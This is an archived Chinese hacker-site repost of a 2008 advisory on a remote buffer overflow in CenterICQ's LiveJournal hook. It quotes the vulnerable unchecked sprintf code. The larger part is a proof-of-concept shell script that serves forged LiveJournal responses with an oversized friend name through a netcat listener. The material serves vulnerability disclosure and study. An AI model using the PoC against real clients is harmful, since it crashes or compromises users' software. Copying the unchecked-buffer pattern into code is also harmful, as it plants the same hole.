今天是:
网站首页 | 新闻中心 | 文章中心 | 下载中心 | 动画中心 | 最新下载 | 加入学盟 | 发布作品
业内动态 | 黑客新闻 | 黑客事件 | 校园快讯 | Q Q 攻略 | 系统安全 | 黑客教学 | 黑客人物
黑客动画 | 精品动画 | 常用工具 | 黑客工马 | 网吧工具 | 密码破解 | 精品推荐 | 会员专区
  快速搜索
关键字
搜索范围
  广告栏目1
   你的位置首页 >> 黑客技术 >> 最新漏洞->CenterICQ IJHook.CC远程缓冲区溢出漏洞
CenterICQ IJHook.CC远程缓冲区溢出漏洞
日期:2008-04-15 06:24:49   来源: 不详   作者: 未知

危害级别:★★★★★★
影响版本:
Konst CenterICQ 4.21
Konst CenterICQ 4.20
Konst CenterICQ 4.14
Konst CenterICQ 4.13
Konst CenterICQ 4.12
Konst CenterICQ 4.9.12
Konst CenterICQ 4.9.11
 
详细说明:
CenterICQ包含对LiveJournal的支持,如张贴日记,读取其他BLOG的RSS种子等其他功能。


CenterICQ存在缓冲区溢出问题,远程攻击者可以利用漏洞以应用程序进程权限执行任意指令。


问题存在于SOURCE/src/hooks/ljhook.cc文件中:


char buf[512];
...
if(find(friendof.begin(), friendof.end(), in->first) ==
friendof.end()) {
friendof.push_back(in->first);


if(!foempty) {
bd = (string) "http://" +
conf.getourid(proto).server + "/users/" + in->first;


sprintf(buf, _("The user %s (%s) has added you to
his/her friend list\n\nJournal address: %s"),
in->first.c_str(), in->second.c_str(), bd.c_str());


em.store(imnotification(self, buf));
}
}
...


由于对用户名和实际名缺少正确的长度检查,可导致缓冲区溢出,精心构建提交数据可能以进程权限执行任意指令。



参考:
漏洞提供者
Lolek 
解决方案:
目前没有解决方案提供:


http://thekonst.net/centericq/



测试方法:


 


-- SNIP ---
#!/bin/sh


cat > req1.txt << __EOF
HTTP/1.0 200 OK
Date: Sat, 06 Jan 2007 11:51:50 GMT
Server: Apache
Set-Cookie: ljuniq=fGKzZta9CPnvvx2:1168084310:hbx0; expires=Wednesday,
07-Mar-2007 11:51:50 GMT; domain=.livejournal.com; path=/
Content-length: 558
Connection: close
Content-Type: text/plain


friend_1_bg
#ffffff
friend_1_fg
#000000
friend_1_name
jwz
friend_1_user
jwz
friend_2_bg
#ffffff
friend_2_fg
#000000
friend_2_name
LJ Maintenance
friend_2_type
community
friend_2_user
lj_maintenance
friend_3_bg
#ffffff
friend_3_fg
#000000
friend_3_name
LJ Spotlight
friend_3_type
community
friend_3_user
lj_spotlight
friend_4_bg
#ffffff
friend_4_fg
#000000
friend_4_name
LiveJournal News
friend_4_type
news
friend_4_user
news
friend_count
4
friendof_1_bg
#ffffff
friendof_1_fg
#000000
friendof_1_name
roflek
friendof_1_user
roflek
friendof_count
1
success
OK
__EOF


cat > req2.txt << __EOF
HTTP/1.0 200 OK
Date: Sat, 06 Jan 2007 11:51:50 GMT
Server: Apache
Set-Cookie: ljuniq=fGKzZta9CPnvvx2:1168084310:hbx0; expires=Wednesday,
07-Mar-2007 11:51:50 GMT; domain=.livejournal.com; path=/
Content-length: 558
Connection: close
Content-Type: text/plain


friend_1_bg
#ffffff
friend_1_fg
#000000
friend_1_name
jwz
friend_1_user
jwz
friend_2_bg
#ffffff
friend_2_fg
#000000
friend_2_name
LJ Maintenance
friend_2_type
community
friend_2_user
lj_maintenance
friend_3_bg
#ffffff
friend_3_fg
#000000
friend_3_name
LJ Spotlight
friend_3_type
community
friend_3_user
lj_spotlight
friend_4_bg
#ffffff
friend_4_fg
#000000
friend_4_name
LiveJournal News
friend_4_type
news
friend_4_user
news
friend_count
4
friendof_1_bg
#ffffff
friendof_1_fg
#000000
friendof_1_name
roflek
friendof_1_user
roflek
friendof_2_bg
#ffffff
friendof_2_fg
#000000
friendof_2_name
foo
friendof_2_user
foo
friendof_count
2
success
OK
__EOF


cat > req3.txt << __EOF
HTTP/1.0 200 OK
Date: Sat, 06 Jan 2007 11:51:50 GMT
Server: Apache
Set-Cookie: ljuniq=fGKzZta9CPnvvx2:1168084310:hbx0; expires=Wednesday,
07-Mar-2007 11:51:50 GMT; domain=.livejournal.com; path=/
Content-length: 558
Connection: close
Content-Type: text/plain


friend_1_bg
#ffffff
friend_1_fg
#000000
friend_1_name
jwz
friend_1_user
jwz
friend_2_bg
#ffffff
friend_2_fg
#000000
friend_2_name
LJ Maintenance
friend_2_type
community
friend_2_user
lj_maintenance
friend_3_bg
#ffffff
friend_3_fg
#000000
friend_3_name
LJ Spotlight
friend_3_type
community
friend_3_user
lj_spotlight
friend_4_bg
#ffffff
friend_4_fg
#000000
friend_4_name
LiveJournal News
friend_4_type
news
friend_4_user
news
friend_count
4
friendof_1_bg
#ffffff
friendof_1_fg
#000000
friendof_1_name
roflek
friendof_1_user
roflek
friendof_2_bg
#ffffff
friendof_2_fg
#000000
friendof_2_name
lolek
friendof_2_user
lolek
friendof_3_bg
#ffffff
friendof_3_fg
#000000
friendof_3_name
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAA
friendof_3_user
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA
friendof_count
3
success
OK
__EOF


netcat -lp 8000 < req1.txt
netcat -lp 8000 < req2.txt
netcat -lp 8000 < req3.txt


责任编辑:浪漫樱花
【加入收藏】 【推荐好友】 【打印本文】
合作伙伴 - 联系我们 - 法律声明 - 关于我们 - 广告联系
网摘收藏: [新浪VIVI] [YouNote收藏] [牛啦!收藏] [加加文摘] [天天网摘]
版权所有:学生黑客联盟 黑ICP备05002849号 2006-2008 All Rights Reserved, Powered by StuCMS™ V1.40beta